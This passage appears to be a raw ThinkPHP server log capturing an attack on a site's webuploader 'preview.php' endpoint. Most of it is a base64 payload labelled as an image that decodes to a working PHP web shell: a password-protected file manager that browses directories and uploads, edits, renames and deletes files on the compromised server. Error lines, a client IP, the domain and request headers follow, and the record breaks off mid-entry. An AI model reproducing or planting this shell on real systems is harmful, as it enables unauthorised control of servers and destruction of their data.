'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'default' => 'Public', 'Hui' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:29+08:00 ] 116.213.36.234 POST 51tianwei.com/services/cepingka/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002455s] [吞吐率:407.33req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'services', 2 => 'cepingka', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 